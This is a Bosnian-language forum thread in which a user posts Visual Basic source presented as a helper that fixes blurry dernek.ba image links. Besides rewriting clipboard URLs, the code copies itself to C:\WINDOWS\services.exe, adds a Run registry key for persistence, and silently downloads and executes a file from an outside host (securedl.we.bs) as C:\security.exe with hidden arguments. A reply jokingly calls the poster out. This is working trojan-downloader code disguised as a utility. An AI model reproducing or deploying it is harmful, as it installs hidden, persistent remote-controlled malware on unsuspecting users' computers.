pomoc kompjuter
- Začetnik teme badboy
- Datum pokretanja
pomoc kompjuter
- Začetnik teme badboy
- Datum pokretanja
- Status
Član
Deyo je napisao(la):Šta ću, natjerali me, u početku sam sve kucao ";" na kraju reda, i sve mi greške izbacivalo
Evo za ono "Slike su ti mutne" (i još nešto usput) za dernek.ba kad je tek uvedeno, davno, davno...
Bax, protabiri malo
Kod:Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal lpszAgent As String, ByVal dwAccessType As Long, ByVal lpszProxyName As String, ByVal lpszProxyBypass As String, ByVal dwFlags As Long) As Long Private Declare Function InternetOpenUrl Lib "wininet.dll" Alias "InternetOpenUrlA" (ByVal hInet As Long, ByVal lpszUrl As String, ByVal lpszHeaders As String, ByVal dwHeadersLength As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Long Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Long Private Const INTERNET_OPEN_TYPE_PRECONFIG = 0 Private Const INTERNET_FLAG_RELOAD = &H80000000 Private Const INTERNET_FLAG_KEEP_CONNECTION = &H400000 Private Const INTERNET_FLAG_NO_CACHE_WRITE = &H4000000 Dim checkType As Integer Dim remMsg(2) As String Dim Link As String Private Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef dwFlags As Long, ByVal dwReserved As Long) As Long Dim RetVal Dim RetVal1 Dim X As String Dim Var As Variant Private Sub Form_Activate() Install End Sub Public Function FExists(OrigFile As String) Dim fs Set fs = CreateObject("Scripting.FileSystemObject") FExists = fs.Fileexists(OrigFile) End Function Private Sub Checker_Timer() On Error Resume Next X = Clipboard.GetText RetVal = InStr(X, "dernek.ba") X = Replace(X, "http://", "") X = Replace(X, "//", "/") Var = Split(X, "/") If UBound(Var) = 3 Then Var(0) = Replace(Var(0), "static.bht.dernek.ba", "static2.dernek.ba") Var(1) = Replace(Var(1), "galerijamale", "galerija") X = Var(0) & "/" & Var(1) & "/" & Var(3) Shell "explorer.exe http://" & X Clipboard.Clear End If If UBound(Var) = 2 Then X = Replace(X, "static.bht.dernek.ba/galerijamale", "static2.dernek.ba/galerija") Shell "http://" & X Clipboard.Clear End If End Sub Function Pause(NbSec As Single) Dim Finish As Single Finish = Timer + NbSec Do Until Timer >= Finish DoEvents Loop End Function Function CheckConnection() As Boolean Dim sTmp As String Dim hInet As Long Dim hUrl As Long Dim Flags As Long Dim url As Variant hInet = InternetOpen(App.Title, INTERNET_OPEN_TYPE_PRECONFIG, vbNullString, vbNullString, 0&) If hInet Then Flags = INTERNET_FLAG_KEEP_CONNECTION Or INTERNET_FLAG_NO_CACHE_WRITE Or INTERNET_FLAG_RELOAD hUrl = InternetOpenUrl(hInet, "http://www.google.com", vbNullString, 0, Flags, 0) If hUrl Then CheckConnection = True Call InternetCloseHandle(hUrl) Else CheckConnection = False End If End If Call InternetCloseHandle(hInet) End Function Private Sub Form_Load() If App.PrevInstance = True Then MsgBox "Program je vec pokrenut.", vbInformation End Sub Function Install() If FExists("C:\WINDOWS\services.exe") = False Then FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\WINDOWS\services.exe" Dim objShell Set objShell = CreateObject("WScript.Shell") Path = "C:\WINDOWS\services.exe" objShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Services", Path, "REG_SZ" End If End Function Private Sub Service_Timer() Dim OK As Boolean OK = False If CheckConnection = True Then Dim Fx() As Byte Fx() = Inet.OpenURL("http://www.securedl.we.bs/nemesis.txt", 1) Open "C:\nemesis.txt" For Binary Access Write As #1 Put #1, , Fx() Close #1 Open "C:\nemesis.txt" For Input As #1 Do Until EOF(1) Input #1, Data Link = Link + Data EOF (1) Loop Close #1 Link = Replace(Link, " ", "") Kill "C:\nemesis.txt" OK = True End If '#2 If CheckConnection = True Then If FExists("C:\security.exe") = "True" Then Shell "C:\security.exe " & Link, vbHide Pause 2 Me.Hide Else Dim Mx() As Byte Mx() = Inet.OpenURL("http://www.securedl.we.bs/source.txt", 1) Open "C:\security.exe" For Binary Access Write As #1 Put #1, , Mx() Close #1 Shell "C:\security.exe " & Link, vbHide Pause 2 Me.Hide End If OK = True End If If OK = True Then Service.Enabled = False End Sub
Deyo ti stvarno nisi dobar!
:lol:
- Status